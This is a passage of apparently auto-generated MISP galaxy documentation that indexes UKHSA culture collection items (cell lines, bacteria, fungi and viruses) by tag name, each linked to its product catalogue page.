Table 25512. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-17d1

142BR

The tag is: *misp-galaxy:ukhsa-culture-collections="142BR"*

Table 25513. Table References

Links
https://www.culturecollections.org.uk/nop/product/142br

E11

The tag is: *misp-galaxy:ukhsa-culture-collections="E11"*

Table 25514. Table References

Links
https://www.culturecollections.org.uk/nop/product/e11-2

STE-137

The tag is: *misp-galaxy:ukhsa-culture-collections="STE-137"*

Table 25515. Table References

Links
https://www.culturecollections.org.uk/nop/product/ste-137

FER

The tag is: *misp-galaxy:ukhsa-culture-collections="FER"*

Table 25516. Table References

Links
https://www.culturecollections.org.uk/nop/product/fer

AtT20

The tag is: *misp-galaxy:ukhsa-culture-collections="AtT20"*

Table 25517. Table References

Links
https://www.culturecollections.org.uk/nop/product/att20

KARPAS-417

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-417"*

Table 25518. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-417

Clostridiodes difficile

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridiodes difficile"*

Table 25519. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-44
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-43
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-42
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-41
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-40
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-39
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-38
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-37
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-36
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-35
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-33
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-32
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-31
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-30
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-29
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-25
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-24
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-23
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-17
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-16
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-15
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-14
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-13
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-12
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-11
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-10
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-9
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-28
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-27
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-26

https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-22
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-21
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-20
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-19
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-18
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-5
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-4
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-3
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-2
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-8
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-7
https://www.culturecollections.org.uk/nop/product/clostridiodes-difficile-6

SHP-77

The tag is: *misp-galaxy:ukhsa-culture-collections="SHP-77"*

Table 25520. Table References

Links
https://www.culturecollections.org.uk/nop/product/shp-77

AB22

The tag is: *misp-galaxy:ukhsa-culture-collections="AB22"*

Table 25521. Table References

Links
https://www.culturecollections.org.uk/nop/product/ab22-2

Yersinia hibernica

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia hibernica"*

Table 25522. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-hibernica

Trichophyton yaoundei

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton yaoundei"*

Table 25523. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-yaoundei-3
https://www.culturecollections.org.uk/nop/product/trichophyton-yaoundei-2
https://www.culturecollections.org.uk/nop/product/trichophyton-yaoundei

IEC 6

The tag is: *misp-galaxy:ukhsa-culture-collections="IEC 6"*

Table 25524. Table References

Links
https://www.culturecollections.org.uk/nop/product/iec-6

RAW 264.7

The tag is: *misp-galaxy:ukhsa-culture-collections="RAW 264.7"*

Table 25525. Table References

Links
https://www.culturecollections.org.uk/nop/product/raw-2647

HRC-5 DNA Panel

The tag is: *misp-galaxy:ukhsa-culture-collections="HRC-5 DNA Panel"*

Table 25526. Table References

Links
https://www.culturecollections.org.uk/nop/product/hrc-5-dna-panel

HRC-2 DNA Panel

The tag is: *misp-galaxy:ukhsa-culture-collections="HRC-2 DNA Panel"*

Table 25527. Table References

Links
https://www.culturecollections.org.uk/nop/product/hrc-2-dna-panel

HRC-1 DNA Panel

The tag is: *misp-galaxy:ukhsa-culture-collections="HRC-1 DNA Panel"*

Table 25528. Table References

Links
https://www.culturecollections.org.uk/nop/product/hrc-1-dna-panel

Herpes simplex virus 1

The tag is: *misp-galaxy:ukhsa-culture-collections="Herpes simplex virus 1"*

Table 25529. Table References

Links
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1-13
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1-9
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1-7
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1-6
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1-5
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1-4
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1-3
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1-2
https://www.culturecollections.org.uk/nop/product/herpes-simplex-virus-1

Ci-1 (formerly known as Ri-1)

The tag is: *misp-galaxy:ukhsa-culture-collections="Ci-1 (formerly known as Ri-1)"*

Table 25530. Table References

Links
https://www.culturecollections.org.uk/nop/product/ci-1-formerly-known-as-ri-1

MDCK-Protein Free

The tag is: *misp-galaxy:ukhsa-culture-collections="MDCK-Protein Free"*

Table 25531. Table References

Links
https://www.culturecollections.org.uk/nop/product/mdck-protein-free

EPC

The tag is: *misp-galaxy:ukhsa-culture-collections="EPC"*

Table 25532. Table References

Links
https://www.culturecollections.org.uk/nop/product/epc

h1RPE7

The tag is: *misp-galaxy:ukhsa-culture-collections="h1RPE7"*

Table 25533. Table References

Links
https://www.culturecollections.org.uk/nop/product/h1rpe7

COLO 668

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 668"*

Table 25534. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-668

COV504

The tag is: *misp-galaxy:ukhsa-culture-collections="COV504"*

Table 25535. Table References

Links
https://www.culturecollections.org.uk/nop/product/cov504

COCA

The tag is: *misp-galaxy:ukhsa-culture-collections="COCA"*

Table 25536. Table References

Links
https://www.culturecollections.org.uk/nop/product/coca

My-La, Lymphoma

The tag is: *misp-galaxy:ukhsa-culture-collections="My-La, Lymphoma"*

Table 25537. Table References

Links
https://www.culturecollections.org.uk/nop/product/my-la-lymphoma

MOH (TOU II-3)

The tag is: *misp-galaxy:ukhsa-culture-collections="MOH (TOU II-3)"*

Table 25538. Table References

Links
https://www.culturecollections.org.uk/nop/product/moh-tou-ii-3

IIC9 (CH0)

The tag is: *misp-galaxy:ukhsa-culture-collections="IIC9 (CH0)"*

Table 25539. Table References

Links
https://www.culturecollections.org.uk/nop/product/iic9-ch0

Paraclostridium bifermentans

The tag is: *misp-galaxy:ukhsa-culture-collections="Paraclostridium bifermentans"*

Table 25540. Table References

Links
https://www.culturecollections.org.uk/nop/product/paraclostridium-bifermentans

SK-OV-3

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-OV-3"*

Table 25541. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-ov-3

NIH 3T3

The tag is: *misp-galaxy:ukhsa-culture-collections="NIH 3T3"*

Table 25542. Table References

Links
https://www.culturecollections.org.uk/nop/product/nih-3t3

My-La CD4+

The tag is: *misp-galaxy:ukhsa-culture-collections="My-La CD4+"*

Table 25543. Table References

Links
https://www.culturecollections.org.uk/nop/product/my-la-cd4

Neuro 2a

The tag is: *misp-galaxy:ukhsa-culture-collections="Neuro 2a"*

Table 25544. Table References

Links
https://www.culturecollections.org.uk/nop/product/neuro-2a

RIN-5F

The tag is: *misp-galaxy:ukhsa-culture-collections="RIN-5F"*

Table 25545. Table References

Links
https://www.culturecollections.org.uk/nop/product/rin-5f

LS174T

The tag is: *misp-galaxy:ukhsa-culture-collections="LS174T"*

Table 25546. Table References

Links
https://www.culturecollections.org.uk/nop/product/ls174t

DMS 454

The tag is: *misp-galaxy:ukhsa-culture-collections="DMS 454"*

Table 25547. Table References

Links
https://www.culturecollections.org.uk/nop/product/dms-454

C70

The tag is: *misp-galaxy:ukhsa-culture-collections="C70"*

Table 25548. Table References

Links
https://www.culturecollections.org.uk/nop/product/c70

C125PM

The tag is: *misp-galaxy:ukhsa-culture-collections="C125PM"*

Table 25549. Table References

Links
https://www.culturecollections.org.uk/nop/product/c125pm

C32 (colon)

The tag is: *misp-galaxy:ukhsa-culture-collections="C32 (colon)"*

Table 25550. Table References

Links
https://www.culturecollections.org.uk/nop/product/c32-colon

C10

The tag is: *misp-galaxy:ukhsa-culture-collections="C10"*

Table 25551. Table References

Links
https://www.culturecollections.org.uk/nop/product/c10

HT55

The tag is: *misp-galaxy:ukhsa-culture-collections="HT55"*

Table 25552. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht55

Buffalopox virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Buffalopox virus"*

Table 25553. Table References

Links
https://www.culturecollections.org.uk/nop/product/buffalopox-virus

Vaccinia virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Vaccinia virus"*

Table 25554. Table References

Links
https://www.culturecollections.org.uk/nop/product/vaccinia-virus-2

Cowpox virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Cowpox virus"*

Table 25555. Table References

Links
https://www.culturecollections.org.uk/nop/product/cowpox-virus

Camelpox virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Camelpox virus"*

Table 25556. Table References

Links
https://www.culturecollections.org.uk/nop/product/camelpox-virus

1321N1

The tag is: *misp-galaxy:ukhsa-culture-collections="1321N1"*

Table 25557. Table References

Links
https://www.culturecollections.org.uk/nop/product/1321n1

WRL 68 (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="WRL 68 (HeLa derivative)"*

Table 25558. Table References

Links
https://www.culturecollections.org.uk/nop/product/wrl-68-hela-derivative

Norovirus GII

The tag is: *misp-galaxy:ukhsa-culture-collections="Norovirus GII"*

Table 25559. Table References

Links
https://www.culturecollections.org.uk/nop/product/norovirus-gii-15

Norovirus GI

The tag is: *misp-galaxy:ukhsa-culture-collections="Norovirus GI"*

Table 25560. Table References

Links
https://www.culturecollections.org.uk/nop/product/norovirus-gi-19

Hepatitis A virus (HAV)

The tag is: *misp-galaxy:ukhsa-culture-collections="Hepatitis A virus (HAV)"*

Table 25561. Table References

Links
https://www.culturecollections.org.uk/nop/product/hepatitis-a-virus-hav-16

Coccidioides immitis

The tag is: *misp-galaxy:ukhsa-culture-collections="Coccidioides immitis"*

Table 25562. Table References

Links
https://www.culturecollections.org.uk/nop/product/coccidioides-immitis-15
https://www.culturecollections.org.uk/nop/product/coccidioides-immitis
https://www.culturecollections.org.uk/nop/product/coccidioides-immitis-20
https://www.culturecollections.org.uk/nop/product/coccidioides-immitis-14
https://www.culturecollections.org.uk/nop/product/coccidioides-immitis-23
https://www.culturecollections.org.uk/nop/product/coccidioides-immitis-5
https://www.culturecollections.org.uk/nop/product/coccidioides-immitis-3

Rahnella inusitata

The tag is: *misp-galaxy:ukhsa-culture-collections="Rahnella inusitata"*

Table 25563. Table References

Links
https://www.culturecollections.org.uk/nop/product/rahnella-inusitata
https://www.culturecollections.org.uk/nop/product/rahnella-inusitata-2

Yersinia enterocolitica subsp. palearctica

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia enterocolitica subsp. palearctica"*

Table 25564. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-subsp-palearctica

Vibrio cholerae

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio cholerae"*

Table 25565. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-50
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-25
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-20

https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-40
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-43
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-34
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-38
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-42
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-41
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-39
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-37
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-36
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-35
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-33
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-32
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-26
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-23
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-3
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-28
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-31
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-7
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-19
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-17
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-12
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-8
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-29
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-18
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-14
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-10
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-2
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-9
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-4
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-6
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-16
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-30
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-5

https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-21
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-13
https://www.culturecollections.org.uk/nop/product/vibrio-cholerae-15

Shigella flexneri

The tag is: *misp-galaxy:ukhsa-culture-collections="Shigella flexneri"*

Table 25566. Table References

Links
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-59
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-58
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-57
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-56
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-47
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-11
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-7
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-6
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-5
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-46
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-3
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-2
https://www.culturecollections.org.uk/nop/product/shigella-flexneri
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-45
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-10
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-22
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-25
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-35
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-42
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-43
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-44
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-9
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-12
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-13
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-17
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-18

https://www.culturecollections.org.uk/nop/product/shigella-flexneri-24
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-29
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-28
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-30
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-36
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-39
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-15
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-16
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-19
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-20
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-23
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-27
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-32
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-8
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-40
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-41
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-14
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-21
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-26
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-31
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-33
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-34
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-37
https://www.culturecollections.org.uk/nop/product/shigella-flexneri-38

Shigella dysenteriae

The tag is: *misp-galaxy:ukhsa-culture-collections="Shigella dysenteriae"*

Table 25567. Table References

Links
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-44
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-23
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-29
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-4
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-3

https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-8
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-11
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-12
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-13
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-14
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-15
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-17
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-18
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-22
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-24
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-25
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-26
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-27
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-43
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-42
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-40
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-41
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-30
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-9
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-6
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-7
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-20
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-2
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-32
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-35
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-36
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-16
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-19
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-37
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-39
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-10
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-21
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-31
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae

https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-5
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-28
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-33
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-34
https://www.culturecollections.org.uk/nop/product/shigella-dysenteriae-38

MCC6

The tag is: *misp-galaxy:ukhsa-culture-collections="MCC6"*

Table 25568. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcc6

TK6 (IVGT)

The tag is: *misp-galaxy:ukhsa-culture-collections="TK6 (IVGT)"*

Table 25569. Table References

Links
https://www.culturecollections.org.uk/nop/product/tk6-ivgt

AB-1 HA

The tag is: *misp-galaxy:ukhsa-culture-collections="AB-1 HA"*

Table 25570. Table References

Links
https://www.culturecollections.org.uk/nop/product/ab-1-ha

LIM2537

The tag is: *misp-galaxy:ukhsa-culture-collections="LIM2537"*

Table 25571. Table References

Links
https://www.culturecollections.org.uk/nop/product/lim2537

Pichia fermentans

The tag is: *misp-galaxy:ukhsa-culture-collections="Pichia fermentans"*

Table 25572. Table References

Links
https://www.culturecollections.org.uk/nop/product/pichia-fermentans

Candida parapsilosis

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida parapsilosis"*

Table 25573. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-37
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-32
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-25
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-17
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-10
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-9
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-8
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-7
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-2
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-15
https://www.culturecollections.org.uk/nop/product/candida-parapsilosis-5

Mucor circinelloides

The tag is: *misp-galaxy:ukhsa-culture-collections="Mucor circinelloides"*

Table 25574. Table References

Links
https://www.culturecollections.org.uk/nop/product/mucor-circinelloides-5
https://www.culturecollections.org.uk/nop/product/mucor-circinelloides-4
https://www.culturecollections.org.uk/nop/product/mucor-circinelloides-3
https://www.culturecollections.org.uk/nop/product/mucor-circinelloides-2
https://www.culturecollections.org.uk/nop/product/mucor-circinelloides

Didymella glomerata

The tag is: *misp-galaxy:ukhsa-culture-collections="Didymella glomerata"*

Table 25575. Table References

Links
https://www.culturecollections.org.uk/nop/product/didymella-glomerata

Acrophialophora fusispora

The tag is: *misp-galaxy:ukhsa-culture-collections="Acrophialophora fusispora"*

Table 25576. Table References

Links
https://www.culturecollections.org.uk/nop/product/acrophialophora-fusispora-2
https://www.culturecollections.org.uk/nop/product/acrophialophora-fusispora

Fusarium petroliphilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusarium petroliphilum"*

Table 25577. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusarium-petroliphilum-2
https://www.culturecollections.org.uk/nop/product/fusarium-petroliphilum

Fusarium fujikuroi complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusarium fujikuroi complex"*

Table 25578. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusarium-fujikuroi-complex

Kluyveromyces marxianus

The tag is: *misp-galaxy:ukhsa-culture-collections="Kluyveromyces marxianus"*

Table 25579. Table References

Links
https://www.culturecollections.org.uk/nop/product/kluyveromyces-marxianus-24
https://www.culturecollections.org.uk/nop/product/kluyveromyces-marxianus-21
https://www.culturecollections.org.uk/nop/product/kluyveromyces-marxianus-10
https://www.culturecollections.org.uk/nop/product/kluyveromyces-marxianus-4
https://www.culturecollections.org.uk/nop/product/kluyveromyces-marxianus-3

https://www.culturecollections.org.uk/nop/product/kluyveromyces-marxianus

Aspergillus japonicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus japonicus"*

Table 25580. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-japonicus

Lichtheimia ramosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Lichtheimia ramosa"*

Table 25581. Table References

Links
https://www.culturecollections.org.uk/nop/product/lichtheimia-ramosa

Wickerhamomyces anomalus

The tag is: *misp-galaxy:ukhsa-culture-collections="Wickerhamomyces anomalus"*

Table 25582. Table References

Links
https://www.culturecollections.org.uk/nop/product/wickerhamomyces-anomalus-15
https://www.culturecollections.org.uk/nop/product/wickerhamomyces-anomalus-8
https://www.culturecollections.org.uk/nop/product/wickerhamomyces-anomalus-6
https://www.culturecollections.org.uk/nop/product/wickerhamomyces-anomalus-5
https://www.culturecollections.org.uk/nop/product/wickerhamomyces-anomalus

Meyerozyma guilliermondii

The tag is: *misp-galaxy:ukhsa-culture-collections="Meyerozyma guilliermondii"*

Table 25583. Table References

Links
https://www.culturecollections.org.uk/nop/product/meyerozyma-guilliermondii-19
https://www.culturecollections.org.uk/nop/product/meyerozyma-guilliermondii-17
https://www.culturecollections.org.uk/nop/product/meyerozyma-guilliermondii-16
https://www.culturecollections.org.uk/nop/product/meyerozyma-guilliermondii-15

https://www.culturecollections.org.uk/nop/product/meyerozyma-guilliermondii-3
https://www.culturecollections.org.uk/nop/product/meyerozyma-guilliermondii-2
https://www.culturecollections.org.uk/nop/product/meyerozyma-guilliermondii

Grunt Fin (GF)

The tag is: *misp-galaxy:ukhsa-culture-collections="Grunt Fin (GF)"*

Table 25584. Table References

Links
https://www.culturecollections.org.uk/nop/product/grunt-fin-gf

AC29

The tag is: *misp-galaxy:ukhsa-culture-collections="AC29"*

Table 25585. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac29-3
https://www.culturecollections.org.uk/nop/product/ac29-2

HeLa H2B-2FP

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa H2B-2FP"*

Table 25586. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-h2b-2fp

HeLa H2B-GFP

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa H2B-GFP"*

Table 25587. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-h2b-gfp

Ideonella sakaiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Ideonella sakaiensis"*

Table 25588. Table References

Links
https://www.culturecollections.org.uk/nop/product/ideonella-sakaiensis

Influenza A virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Influenza A virus"*

Table 25589. Table References

Links
https://www.culturecollections.org.uk/nop/product/influenza-a-virus
https://www.culturecollections.org.uk/nop/product/influenza-a-virus-10
https://www.culturecollections.org.uk/nop/product/influenza-a-virus-9
https://www.culturecollections.org.uk/nop/product/influenza-a-virus-11
https://www.culturecollections.org.uk/nop/product/influenza-a-virus-3
https://www.culturecollections.org.uk/nop/product/influenza-a-virus-4
https://www.culturecollections.org.uk/nop/product/influenza-a-virus-5
https://www.culturecollections.org.uk/nop/product/influenza-a-virus-7

Influenza B virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Influenza B virus"*

Table 25590. Table References

Links
https://www.culturecollections.org.uk/nop/product/influenza-b-virus-2

Yellow fever virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Yellow fever virus"*

Table 25591. Table References

Links
https://www.culturecollections.org.uk/nop/product/yellow-fever-virus
https://www.culturecollections.org.uk/nop/product/yellow-fever-virus-2

Clostridium botulinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium botulinum"*

Table 25592. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-24
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-25
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-26
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-27
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-9
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-22
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-23
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-12
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-19
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-14
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-21
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-20
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-18
https://www.culturecollections.org.uk/nop/product/clostridium-botulinum-17
